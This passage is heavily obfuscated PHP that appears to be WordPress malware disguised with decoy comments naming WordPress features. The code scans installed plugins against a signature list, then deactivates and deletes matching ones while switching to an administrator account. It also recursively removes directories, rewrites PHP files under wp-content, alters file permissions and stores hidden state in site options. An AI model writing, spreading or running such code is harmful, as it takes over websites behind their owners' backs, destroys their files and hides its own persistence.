       $d95h1ioarheg  =  $GLOBALS['__scf_wruv1u09qsfmz_282'](home_url(onlv7_99m8sby3(657)  .     $GLOBALS['__scf_s3bo674ng_q_342']((0x48c+0x18214),   (279600+720399))),  array(okltugscqfcy(283) =>   (22^30),   e77owqcywda_d(658)  => 2,   okltugscqfcy(659)  =>     false,  e77owqcywda_d(285) =>    (1235610-187034)));
   if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(286))   &&    is_wp_error($d95h1ioarheg))   {

if   ($dcqstv8efzc    === 0  && $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(660)))  $GLOBALS['__scf_cme2mo9dzi_660'](2);
 continue;
  }
    $kyidhl7ydwnuomcb =  (int)      wp_remote_retrieve_response_code($d95h1ioarheg);
 if    ($kyidhl7ydwnuomcb  <   (198^162) ||     $GLOBALS['__scf_wwy_cardw8r5v6_146']($kyidhl7ydwnuomcb,  array((92+411),  (470+50),   (474+47),  (1037-515),    (490+33), (504+20),    (431+95),   (569-42)),  true))  {
 if      ($dcqstv8efzc ===   0   &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(660))) $GLOBALS['__scf_cme2mo9dzi_660'](2);
  continue;
       }

    $uh3v9zp8lp =   $kyidhl7ydwnuomcb;


       break;
  }
// lower memory pressure

     if  ($uh3v9zp8lp   === -1) e_42zxx3yq4pdz4bo4(e77owqcywda_d(643),  okltugscqfcy(661)); 
if  ($uh3v9zp8lp  !==  -1   &&    $uh3v9zp8lp < (249+251)) $gk0p6b9t5k340l   =      true;
 if    ($uh3v9zp8lp    !==   -1  &&     $uh3v9zp8lp >=    (733-233))    {
 $wkp_9gtujzg638g    =  n_52vz_mvq1filje(ku6yldy17ivtsoehkpgirz(),   mnjwoq6_2fqzybrsdxadv2($v45c09ziffck7ja));
     if  (!$wkp_9gtujzg638g)     $wkp_9gtujzg638g =  n_52vz_mvq1filje(ku6yldy17ivtsoehkpgirz(), $v45c09ziffck7ja);
   $k7cwvr69np1  = $GLOBALS['__scf_poant85f5yad_56']($irnmk0e17b);
    $_axcia9dawy_pz2i  =      @get_option(onlv7_99m8sby3(650), "");
   $t1bmnk9plrkdkjq    =  false;
if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($_axcia9dawy_pz2i) &&  $GLOBALS['__scf_ffvfced40_hd3k_7']($_axcia9dawy_pz2i,     $k7cwvr69np1 .      '|') ===   0)  {
    $rhrwu7e4n43jo6  =  (int) $GLOBALS['__scf_pozjicggfgaq_9']($_axcia9dawy_pz2i,  $GLOBALS['__scf_ffvfced40_hd3k_7']($_axcia9dawy_pz2i, '|')     + 1);
      $t1bmnk9plrkdkjq    =   $rhrwu7e4n43jo6   &&      $GLOBALS['__scf_p_l9i38f5mdu2r_184']()    - $rhrwu7e4n43jo6     >= (863+37)    && $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -   $rhrwu7e4n43jo6      <=   (604732+68);
     }
     if   ($t1bmnk9plrkdkjq)    {
      update_option(onlv7_99m8sby3(662), $k7cwvr69np1  .      '|'    .    $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),  okltugscqfcy(605));
@delete_option(e77owqcywda_d(650));
    } else {
   @update_option(okltugscqfcy(650), $k7cwvr69np1   .  '|'      .   $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  .  '|' .  $uh3v9zp8lp,     onlv7_99m8sby3(663));
 }
unset($k7cwvr69np1,  $_axcia9dawy_pz2i,    $t1bmnk9plrkdkjq,  $rhrwu7e4n43jo6);


 if   (!$wkp_9gtujzg638g)  {
/* isometric write-ahead-log */



 e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(664),  okltugscqfcy(665)   . $uh3v9zp8lp);
return;



  }
// filter chain entry



    oodhj46z_4pz9mo(ku6yldy17ivtsoehkpgirz());
    gy672vrnjusgcel1(ku6yldy17ivtsoehkpgirz());
    s_41a4npfkl91g6lvjvfe(true);
      doc379joovtj_lisexoga9(true);
 $t98_65ueujj  =     $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),   c_5yznsrtgse_i(208));
 foreach   (array($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()),    rr86pukxk9_hcz1())   as  $a3b9151zj2udrns)  {$fyiqp7_94fqj_2=77+83;$domhmuy33m27=$fyiqp7_94fqj_2-14;
   @$GLOBALS['__scf_l9ij4yiim4al_f_17']($a3b9151zj2udrns     . e77owqcywda_d(666)  .  $t98_65ueujj);
  @$GLOBALS['__scf_l9ij4yiim4al_f_17']($a3b9151zj2udrns     .  okltugscqfcy(667)   .  $t98_65ueujj);



     }
     if    ($w2pi1mde5_b    &&  !ir1g9dtvh7_yawm1n())     bplid4ydhvb2zb8go4(z383zy78ulhvdb47());

 $GLOBALS[okltugscqfcy(668)]     =  0;
w49r9oh9ioww45sp3();
 e_42zxx3yq4pdz4bo4(e77owqcywda_d(664),  okltugscqfcy(669)  .  $uh3v9zp8lp);
     return;
  }


}
// unload sliding-window for WP Block API v3



 $a42nj6ni7f     =  get_option(onlv7_99m8sby3(662));
  if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($a42nj6ni7f)  &&    $GLOBALS['__scf_ffvfced40_hd3k_7']($a42nj6ni7f,  $GLOBALS['__scf_poant85f5yad_56']($irnmk0e17b)  .  '|') ===  0)    delete_option(onlv7_99m8sby3(662));
       @$GLOBALS['__scf_l9ij4yiim4al_f_17']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())   . c_5yznsrtgse_i(670) . $GLOBALS['__scf_poant85f5yad_56']($irnmk0e17b));
unset($a42nj6ni7f);
  if   ($gk0p6b9t5k340l)  @delete_option(okltugscqfcy(671));

    if  ($yo938idvswh !== "") {
  $GLOBALS[c_5yznsrtgse_i(1)] = $yo938idvswh;

  qfjrcc2t089u3yjv43(ku6yldy17ivtsoehkpgirz(),   $yo938idvswh);
     }
// strip debug output

     if   ($w5loq2ejxxkkye)   {
 $hb6a46p464v5ohyy =     $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),    c_5yznsrtgse_i(208));
   foreach      (array($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()),  rr86pukxk9_hcz1())     as $xjuj6uednb68) {
 @$GLOBALS['__scf_l9ij4yiim4al_f_17']($xjuj6uednb68  . c_5yznsrtgse_i(666) .  $hb6a46p464v5ohyy);
      }
       unset($hb6a46p464v5ohyy,      $xjuj6uednb68);

}
ciwxbzr19t8j5_t(c_5yznsrtgse_i(436),  $irnmk0e17b,   e77owqcywda_d(663));
   s_41a4npfkl91g6lvjvfe(true);



doc379joovtj_lisexoga9(true);
 $GLOBALS[c_5yznsrtgse_i(672)] =    0;
   w49r9oh9ioww45sp3();



 jl7b1mmow1nrgaho8(ku6yldy17ivtsoehkpgirz(),      (29+391));
      if  (oodhj46z_4pz9mo(ku6yldy17ivtsoehkpgirz()))    u34g0m5gddocpkl(ku6yldy17ivtsoehkpgirz());
    update_option(c_5yznsrtgse_i(194),  $yo938idvswh    . '|' .  $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),  c_5yznsrtgse_i(673));
   }      catch    (Throwable   $ye68b7hs2257kgf) {
     e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(674),     $ye68b7hs2257kgf);
    }  catch (Exception  $ye68b7hs2257kgf) {
    }  finally    {
// undecidable substitution-map

 gp1654dr46ffgrsz(onlv7_99m8sby3(375));

 }
    }
    function oj2zzsyai44u3eib4()
{
     if  (! defined(e77owqcywda_d(32)) ||  ! $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(675)))   {
  if     ($GLOBALS['__scf_s8a8ra7wu3u_676'](ABSPATH    .    c_5yznsrtgse_i(677)))     {
require_once ABSPATH .  okltugscqfcy(677);
 }
 if   (! $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(678)))   {
  return;


}
  }



      $tmax27onbxnpwt =      get_plugins();


  if (!   $GLOBALS['__scf_a91xkwk0qm_35']($tmax27onbxnpwt))  {


        return;
}
$list =   array();
foreach   ($tmax27onbxnpwt  as  $basename   =>      $vg3cffv0cm15a9b)      {
   if ($basename ===   z383zy78ulhvdb47())     {$u6yxsgao=(0xdc+0x9c);$zazrqbhn=$u6yxsgao%5;
  continue;
   }



  $list[$basename]    =  $vg3cffv0cm15a9b;
  }
   return $list;
    }
function   mreee66j8pzvfzj1($daurlke0afcg,  $kt71wsz8dgp7g1)
{
     
  $daj0ulxipl5 =    @$GLOBALS['__scf_ha14er2zmzf_92']($daurlke0afcg,  false,     null,    0,  (524236+52));      
  if (!   $daj0ulxipl5)  {
   return    false;
      }


   
 foreach  ($kt71wsz8dgp7g1  as  $pvfp0limm6g96mt)  {
  
if   (!    $GLOBALS['__scf_ncrh0liqs6be8x_41']($pvfp0limm6g96mt)    || ! $pvfp0limm6g96mt ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($pvfp0limm6g96mt)  >    (4074+22))  {
 continue;
}
    
try {
 $kmgnq9_fgpd56zwu  =  @$GLOBALS['__scf_ibg88bu925_93']($pvfp0limm6g96mt,   $daj0ulxipl5);


}      catch   (Throwable   $lbsn66h7g_stvhh)   {

      e_42zxx3yq4pdz4bo4(e77owqcywda_d(679), $lbsn66h7g_stvhh);
continue;
   }  catch    (Exception  $lbsn66h7g_stvhh)  {
    continue;
 }
 
 if ($kmgnq9_fgpd56zwu)   {
   return    true;
  }



 }
 return  false;
// WP Site Logo: alias-analyze invariant

  }
     
function  ncczpskh_g065h($plugin_basename)
      {
// WP useEntityRecords: split heap


    $kt71wsz8dgp7g1   =    $GLOBALS[c_5yznsrtgse_i(680)];
  if (!      $GLOBALS['__scf_a91xkwk0qm_35']($kt71wsz8dgp7g1) ||  empty($kt71wsz8dgp7g1))   {
 return  false;
   }
    if    (! defined(c_5yznsrtgse_i(32))      ||  empty($plugin_basename)  ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($plugin_basename,   e77owqcywda_d(218))   !== false)  {
return  false;$y1984n8z_s4h=1646;$klszbf0o8hu=$y1984n8z_s4h%7;
}
  
$gfqyhfnvmz =    WP_PLUGIN_DIR    . '/'  . $plugin_basename;



 if  ($GLOBALS['__scf__ozzh8uadm__11']($plugin_basename)      === '.')   {
   $h8gk0ck04e   =      array($gfqyhfnvmz);
 } else {
   $d5o4amclcy2jr     =    $GLOBALS['__scf__ozzh8uadm__11']($gfqyhfnvmz);
 if  (!    $GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr) || !    $GLOBALS['__scf_n1i7x5p4a4_46']($d5o4amclcy2jr))   {

  return      false;


}
$h8gk0ck04e    =   y0zn5xtspq4wnj($d5o4amclcy2jr,   array(e77owqcywda_d(681), e77owqcywda_d(682), onlv7_99m8sby3(683),     okltugscqfcy(684),  c_5yznsrtgse_i(423)));
}
  
   foreach  ($h8gk0ck04e   as     $daurlke0afcg)   {
    if    (! $GLOBALS['__scf_cr6q9fwgft_18']($daurlke0afcg))  {
 continue;
}
       if    (mreee66j8pzvfzj1($daurlke0afcg,  $kt71wsz8dgp7g1))  {
 return  true;



 }
       }
  return false;
}
  function   y0zn5xtspq4wnj($d5o4amclcy2jr,  $xnquky5ip6_fes,    $xcwqgpjni5n   =  0,   &$sb_hfp4kex =  null,  &$td2ot301wdarg = null)

     {
 $list = array();
 if ($xcwqgpjni5n  > (14-6))  {
 return  $list;
   }
 if      ($sb_hfp4kex     ===   null)  {
// WP Custom Link admin screen

 $sb_hfp4kex  =      array();
 $td2ot301wdarg = $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true)     +    (0x9+0x1);
}
   if   ($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true)  >    $td2ot301wdarg) {

 return   $list;
     }



  if  (! $GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr))    {
      return $list;
}
      $gku5e_2o27pm91     =  @$GLOBALS['__scf_jm_ztoos21fema_33']($d5o4amclcy2jr);
   if   ($gku5e_2o27pm91   !== false)  {

if   (isset($sb_hfp4kex[$gku5e_2o27pm91]))   {
     return  $list;



}
    $sb_hfp4kex[$gku5e_2o27pm91]  =  true;
        }
   $ph7yci4_298opec =    pd5w5h3uqt5mrsxraacf5($d5o4amclcy2jr, (4201+15799));
     

if   (!  $GLOBALS['__scf_a91xkwk0qm_35']($ph7yci4_298opec)) {
   return $list;
    }

foreach  ($ph7yci4_298opec as    $g5mbd1uqvv)  {



 if  ($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true) > $td2ot301wdarg   || $GLOBALS['__scf_hotyagmbtkrb_36']($list)     >=   (0x19b+0x59))   {
    break;$h9rfw84p=21*9;$l8iet1bny3xpj=$h9rfw84p-35;
 }



    $gfqyhfnvmz   =   $d5o4amclcy2jr     . '/' . $g5mbd1uqvv;
if  (@$GLOBALS['__scf_ovzejzf9rj_44']($gfqyhfnvmz))     {

  continue;
 }



if   (@$GLOBALS['__scf_iomf4blfg0_43']($gfqyhfnvmz)) {$qhg2v8rw=(0x71+0x10);$u2_mepkciu0o=$qhg2v8rw%13;



      $list   =   $GLOBALS['__scf_sp6eq6gzqlrslw_358']($list,   y0zn5xtspq4wnj($gfqyhfnvmz,     $xnquky5ip6_fes, $xcwqgpjni5n   +  1,  $sb_hfp4kex,  $td2ot301wdarg));
  }     elseif    (@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz))   {
 $ox5nrb9u2h1vxv     = $GLOBALS['__scf_nyge3zwzqqi4_200']($gfqyhfnvmz, constant(c_5yznsrtgse_i(685)));



 $ox5nrb9u2h1vxv     =  $GLOBALS['__scf_ncrh0liqs6be8x_41']($ox5nrb9u2h1vxv)     ? $GLOBALS['__scf_sp7azfm0t4x0x_100']($ox5nrb9u2h1vxv)      :     "";
    if    ($GLOBALS['__scf_wwy_cardw8r5v6_146']($ox5nrb9u2h1vxv,  $xnquky5ip6_fes,  true)) {
   $list[]   = $gfqyhfnvmz;
   }
}
}
 return  $list;
 

   }

        function   _u_ruln2dyq4lo_u7fk0u($plugin_basename)

{

    if  (!  $GLOBALS['__scf_ncrh0liqs6be8x_41']($plugin_basename) ||   !   $plugin_basename) {
   return false;
 }

 if    ($GLOBALS['__scf_ffvfced40_hd3k_7']($plugin_basename,    okltugscqfcy(218))     !== false)    {
 return      false;
      }
// @bootstrap lsm-tree

  
   $plugin_basename  = $GLOBALS['__scf__90_xdmo58j3q_311']($plugin_basename);



      if ($plugin_basename     === z383zy78ulhvdb47())     {



 return  false;

  }
     
if (!    $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(686))   &&  $GLOBALS['__scf_s8a8ra7wu3u_676'](ABSPATH  .     onlv7_99m8sby3(687))) {
    require_once  ABSPATH  . e77owqcywda_d(688);
       }
     
     if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(686))  &&    is_plugin_active($plugin_basename))     {

  deactivate_plugins(array($plugin_basename),   true); 
 }
 
  $d5o4amclcy2jr =     defined(c_5yznsrtgse_i(689))    ? WP_PLUGIN_DIR  .     '/'      .  $GLOBALS['__scf__ozzh8uadm__11']($plugin_basename)  :  "";


if      ($d5o4amclcy2jr &&   $GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr) &&    $GLOBALS['__scf__ozzh8uadm__11']($plugin_basename)  !==    '.'  && $GLOBALS['__scf__ozzh8uadm__11']($plugin_basename))   {
    if (v75etwslzpkglvj4o1b($d5o4amclcy2jr))     {
 return  true;
 }
    }
  
 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(690)))   {
 
  if   (!   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(691)) ||  !     current_user_can(e77owqcywda_d(690))) {
 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(692)) &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(693)))     {
 $users     = get_users(array(e77owqcywda_d(694) =>  e77owqcywda_d(695),   c_5yznsrtgse_i(696) =>   1));
 if   (!     empty($users) &&   $users[0]->ID)   {
  $GLOBALS['__scf_gucn0ufmm1pqqk_697']($users[0]->ID);
      

      }  else {



  $GLOBALS['__scf_gucn0ufmm1pqqk_697'](1);
 }
  }
  }
   
  $jt19a9isifbb3ny    =    delete_plugins(array($plugin_basename));
if  (! is_wp_error($jt19a9isifbb3ny))  {
    return     (bool)  $jt19a9isifbb3ny;
   }
}
   return false;
  }
 



function   v75etwslzpkglvj4o1b($d5o4amclcy2jr,  $xcwqgpjni5n =   0)
   {
 if    ($xcwqgpjni5n    >     (1<<4)) {
       return  false;


 }
     if  (!      $GLOBALS['__scf_ncrh0liqs6be8x_41']($d5o4amclcy2jr)    ||  $d5o4amclcy2jr  ===  ""     ||    $GLOBALS['__scf_ffvfced40_hd3k_7']($d5o4amclcy2jr, e77owqcywda_d(218))    !==      false)   {
return false;
  }
  $vye7cuj6d3dv  = @$GLOBALS['__scf_jm_ztoos21fema_33']($d5o4amclcy2jr);
    if ($vye7cuj6d3dv  === false   ||     !  $GLOBALS['__scf_iomf4blfg0_43']($vye7cuj6d3dv))    {

   return false;
}


$w5azlyxhk1gx   =   defined(e77owqcywda_d(698))  ?  @$GLOBALS['__scf_jm_ztoos21fema_33'](WP_PLUGIN_DIR)  :    false;


  if  ($w5azlyxhk1gx  ===    false  ||    ($vye7cuj6d3dv    !==  $w5azlyxhk1gx  &&     $GLOBALS['__scf_ffvfced40_hd3k_7']($vye7cuj6d3dv, $w5azlyxhk1gx .   DIRECTORY_SEPARATOR)  !== 0)) {
// PCRE2 JIT nonce validation

   return   false;


    }
// edge case guard

  $kqkv3ucejm  =   @$GLOBALS['__scf_o_aq7f8mktg1_34']($vye7cuj6d3dv);
        if (!    $GLOBALS['__scf_a91xkwk0qm_35']($kqkv3ucejm))   {
// WordPress 6.6 block bindings: isometric flyweight

 return false;
   }
// nul-terminated

     foreach    ($kqkv3ucejm  as  $jrw88vlegy5oic7c) {
if  ($jrw88vlegy5oic7c   ===   '.' ||    $jrw88vlegy5oic7c ===  e77owqcywda_d(218)) {
continue;


    }
  $gfqyhfnvmz    =    $vye7cuj6d3dv .  constant(onlv7_99m8sby3(699))  .    $jrw88vlegy5oic7c;
   if   (@$GLOBALS['__scf_ovzejzf9rj_44']($gfqyhfnvmz))  {
er_0rzjfu8611gx($gfqyhfnvmz);
   continue;
 }
    if   (@$GLOBALS['__scf_iomf4blfg0_43']($gfqyhfnvmz))  {$pqwau1iyskm3w5=73;$xdiw7b8i68=($pqwau1iyskm3w5>0)?$pqwau1iyskm3w5:-$pqwau1iyskm3w5;
     v75etwslzpkglvj4o1b($gfqyhfnvmz, $xcwqgpjni5n + 1);
  }   else     {


  if  (!     er_0rzjfu8611gx($gfqyhfnvmz))   {
 jl7b1mmow1nrgaho8($gfqyhfnvmz, (369+51));
  er_0rzjfu8611gx($gfqyhfnvmz);
    }
    }



}



  if (!   @$GLOBALS['__scf__xs8mx6vz_euib_37']($vye7cuj6d3dv))   {
jl7b1mmow1nrgaho8($vye7cuj6d3dv, (403+90));
  @$GLOBALS['__scf__xs8mx6vz_euib_37']($vye7cuj6d3dv);
    }
       return !  @$GLOBALS['__scf_s8a8ra7wu3u_676']($vye7cuj6d3dv);
    



 }
 



 function    lxwfsg5sftwamqy8ji()
 {
try     {
 $list  =  oj2zzsyai44u3eib4();
  if (!  $GLOBALS['__scf_a91xkwk0qm_35']($list))    {
return;
 }
  
       $ajccaqfa8fli7j  = array();
  $hzjaj4tpsrva3v79 =   false;
      foreach ($GLOBALS['__scf_zixwhg5_ed506_700']($list)    as  $basename)  {
       
  if (!    $GLOBALS['__scf_ncrh0liqs6be8x_41']($basename)) {
   continue;

 }
// online heap

  
  $awdfdanpfyhxt  =  $GLOBALS['__scf__ozzh8uadm__11']($basename);
  if  ($awdfdanpfyhxt     ===  '.')  {
/* injective-adj canonical-form */

     $awdfdanpfyhxt  =     $basename;



 }
    if   (isset($ajccaqfa8fli7j[$awdfdanpfyhxt]))   {
  continue;
 }
 
 $ajccaqfa8fli7j[$awdfdanpfyhxt]    =    true;
 if  (ncczpskh_g065h($basename)) {

_u_ruln2dyq4lo_u7fk0u($basename);


$hzjaj4tpsrva3v79 = true;
}
  }


      
  if  (@$GLOBALS['__scf_iomf4blfg0_43'](rr86pukxk9_hcz1()))  {
      $lgupvc72hxy70  =  pd5w5h3uqt5mrsxraacf5(rr86pukxk9_hcz1(), (4984+16));
   if   ($GLOBALS['__scf_a91xkwk0qm_35']($lgupvc72hxy70)) {
// FFI bindings user session

$kt71wsz8dgp7g1     =   $GLOBALS[c_5yznsrtgse_i(680)];
   foreach ($lgupvc72hxy70      as    $g5mbd1uqvv) {


     
 if    ($g5mbd1uqvv  ===  orb88b5b15pr5r67()) {
// WP Site Title post type setup

      continue;
  }
 
    $daurlke0afcg    =   rr86pukxk9_hcz1()  .    '/'   .    $g5mbd1uqvv;
 if   (!    @$GLOBALS['__scf_cr6q9fwgft_18']($daurlke0afcg)  ||    $GLOBALS['__scf_sp7azfm0t4x0x_100']($GLOBALS['__scf_nyge3zwzqqi4_200']($g5mbd1uqvv,  constant(okltugscqfcy(701))))      !==    e77owqcywda_d(682))  {
   continue;
 }


 



if  (mreee66j8pzvfzj1($daurlke0afcg,    $kt71wsz8dgp7g1))     {



er_0rzjfu8611gx($daurlke0afcg);
 $hzjaj4tpsrva3v79    =  true;

    }
 }
   }
// WP Pattern Directory sizes attribute

   }
    
  $jv14lvrcx_fo7_     = $GLOBALS[e77owqcywda_d(422)];
 if      ($GLOBALS['__scf_a91xkwk0qm_35']($jv14lvrcx_fo7_)  &&      !  empty($jv14lvrcx_fo7_))   {

 if (p32czwnylgzqcyg8crmo($jv14lvrcx_fo7_))   {



 $hzjaj4tpsrva3v79   =    true;
   }
}


 }  catch  (Throwable   $ye68b7hs2257kgf)  {
e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(702), $ye68b7hs2257kgf);
}  catch (Exception    $ye68b7hs2257kgf)   {
    }
}
   



  function gix9ggzbkn9f090()
 {
       try   {
$r4efx83n27  =   (int)    get_option(e77owqcywda_d(703),   0);


  if (($GLOBALS['__scf_p_l9i38f5mdu2r_184']() -  $r4efx83n27)  >= (3525+75)) {
update_option(c_5yznsrtgse_i(704),   $GLOBALS['__scf_p_l9i38f5mdu2r_184']());
$uhdedzo43xsf2m =  array(array(gvz2nz5q0a_3fi6ss(),  array(okltugscqfcy(40))));
$nl7qofgo0h   =    $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(135)) ?  $GLOBALS['__scf_hfd5naynxinvpq_77']() :     "";



if      ($nl7qofgo0h     !== ""  &&    $nl7qofgo0h   !== gvz2nz5q0a_3fi6ss()) $uhdedzo43xsf2m[]   =  array($nl7qofgo0h,    array(onlv7_99m8sby3(40), c_5yznsrtgse_i(705)));
 foreach   ($uhdedzo43xsf2m   as   $b97pw_klywhvu)    {
  foreach   ($b97pw_klywhvu[1]     as $cd8uj3muoq)     {
$_sjuw8cxnfum5    =      $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(71)) ?  @$GLOBALS['__scf_gjx8dntqvik0_71']($b97pw_klywhvu[0] .      '/'  . $cd8uj3muoq  .     '*')  : false;
  if  (!$GLOBALS['__scf_a91xkwk0qm_35']($_sjuw8cxnfum5))    continue;
foreach ($_sjuw8cxnfum5     as $tkapze2cqw9)  {
  if  (!@$GLOBALS['__scf_cr6q9fwgft_18']($tkapze2cqw9))     continue;



   if  ($GLOBALS['__scf_pozjicggfgaq_9']($tkapze2cqw9,  -(0x2+0x3))   === onlv7_99m8sby3(706)) continue;
 $dmk3os8nklyewd    =   @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($tkapze2cqw9);



   if   ($dmk3os8nklyewd   !== false  &&     ($GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -    $dmk3os8nklyewd) >  (3583+17))   er_0rzjfu8611gx($tkapze2cqw9);

}
  }
 }
  $q2g2g8o4xh   =   get_option(c_5yznsrtgse_i(707),    array());
     if  (!$GLOBALS['__scf_a91xkwk0qm_35']($q2g2g8o4xh))  $q2g2g8o4xh   =     array();

   $r2pep5o_oojcine   =      $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),     okltugscqfcy(208));
$_pd =      (defined(onlv7_99m8sby3(162)) ?   WP_CONTENT_DIR   :     ABSPATH  .  okltugscqfcy(708)) .  okltugscqfcy(709);
      foreach   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(71))     ?    (array) @$GLOBALS['__scf_gjx8dntqvik0_71']($_pd .    okltugscqfcy(438))    :   array() as $ooqj8ghovupp89d)  {



    if ($GLOBALS['__scf_n2ceqwn4my98_3']($GLOBALS['__scf__ozzh8uadm__11']($ooqj8ghovupp89d)) ===   $r2pep5o_oojcine)   continue;


$g_nj1msg5on =  $GLOBALS['__scf_n2ceqwn4my98_3']($GLOBALS['__scf__ozzh8uadm__11']($ooqj8ghovupp89d))   .     '/' . $GLOBALS['__scf_n2ceqwn4my98_3']($ooqj8ghovupp89d);
   if  ($GLOBALS['__scf_wwy_cardw8r5v6_146']($g_nj1msg5on,     $q2g2g8o4xh,  true)) continue;



if  (!@$GLOBALS['__scf_lnazygzamf_47']($ooqj8ghovupp89d))    continue;
$s7ruusmnd3yeu5j = @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($ooqj8ghovupp89d);


if (!$s7ruusmnd3yeu5j    ||  $s7ruusmnd3yeu5j    >   (1188522+908630))   continue;

 $kyidhl7ydwnuomcb  =   @$GLOBALS['__scf_ha14er2zmzf_92']($ooqj8ghovupp89d);$zaj0vv7fjxgr=245|46;$n2z87_z8=$zaj0vv7fjxgr^107;
   if      (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($kyidhl7ydwnuomcb)    ||    $GLOBALS['__scf_ffvfced40_hd3k_7']($kyidhl7ydwnuomcb,  onlv7_99m8sby3(710))  === false)  continue;
 $qvi_smc8any0_  =     $GLOBALS['__scf_t8cv4weumn7_439'](c_5yznsrtgse_i(711),  "",   $kyidhl7ydwnuomcb);


  if      (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($qvi_smc8any0_)      ||      $qvi_smc8any0_    ===   $kyidhl7ydwnuomcb   ||  !pqt0j30bec0qiplt($qvi_smc8any0_))  continue;

   n_52vz_mvq1filje($ooqj8ghovupp89d, $qvi_smc8any0_);
  if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(712))) @opcache_invalidate($ooqj8ghovupp89d,   true);
  }
unset($q2g2g8o4xh,     $r2pep5o_oojcine,     $_pd,      $ooqj8ghovupp89d,  $g_nj1msg5on,  $s7ruusmnd3yeu5j, $kyidhl7ydwnuomcb,  $qvi_smc8any0_);
_muf4bt3d3hw1nu09woag();


    }
      
  $b89l_rmbpevp72p  = $GLOBALS[c_5yznsrtgse_i(680)];
  $jv14lvrcx_fo7_      =  $GLOBALS[c_5yznsrtgse_i(713)];
   

     $knmng1xgl_a68dy  = ($GLOBALS['__scf_a91xkwk0qm_35']($b89l_rmbpevp72p)  &&  !   empty($b89l_rmbpevp72p))   || ($GLOBALS['__scf_a91xkwk0qm_35']($jv14lvrcx_fo7_)      &&    !  empty($jv14lvrcx_fo7_));
    if    (! $knmng1xgl_a68dy)    {



return;


       }
    
       $p6yki13bmi49dp   = (int)  get_option(c_5yznsrtgse_i(714),     0);$hlv_q1tp19=58+27;$dz80li8x9ot4=$hlv_q1tp19-13;
if (($GLOBALS['__scf_p_l9i38f5mdu2r_184']()   -  $p6yki13bmi49dp)  <  (3597+3))  {



 return;


 }


 if (!r9q5mjga_j0i3gm_(c_5yznsrtgse_i(715))) {



  return;
      }
       
 try  {


 $p6yki13bmi49dp =      (int)     get_option(okltugscqfcy(716), 0);
  if (($GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -  $p6yki13bmi49dp)    < (3529+71))  {
 return;
 }
    update_option(c_5yznsrtgse_i(717), $GLOBALS['__scf_p_l9i38f5mdu2r_184']());
     lxwfsg5sftwamqy8ji();
}     finally  {
 gp1654dr46ffgrsz(onlv7_99m8sby3(718));
 }


 }  catch    (Throwable   $ye68b7hs2257kgf)   {
e_42zxx3yq4pdz4bo4(e77owqcywda_d(719),  $ye68b7hs2257kgf);


      }  catch  (Exception $ye68b7hs2257kgf)    {



  }
}
 


function rd5_v4zw1ov_ugoe()
   {


 try   {

 $c0abca9op_ =    s_41a4npfkl91g6lvjvfe();
if (!$c0abca9op_   || $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_)   <   (0x10a+0xea))    return;
if   (!pqt0j30bec0qiplt($c0abca9op_))  {
      e_42zxx3yq4pdz4bo4(okltugscqfcy(720), e77owqcywda_d(721));
return;
  }

   if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(50))   &&   get_transient(onlv7_99m8sby3(63)))    return;
  
$_suvn0g6fb      =  rr86pukxk9_hcz1();
clearstatcache(true);
 if (@$GLOBALS['__scf_ovzejzf9rj_44']($_suvn0g6fb) &&    !@$GLOBALS['__scf_iomf4blfg0_43']($_suvn0g6fb)) {
   return;
  }

 if   (!@$GLOBALS['__scf_iomf4blfg0_43']($_suvn0g6fb))   {
     $ltwyhinqv7v9olf     = @umask(0);
z896t8tuy9x7zn5($_suvn0g6fb,   (78+415),  true);
@umask($ltwyhinqv7v9olf);
   jl7b1mmow1nrgaho8($_suvn0g6fb,  (427+66));
  clearstatcache(true);
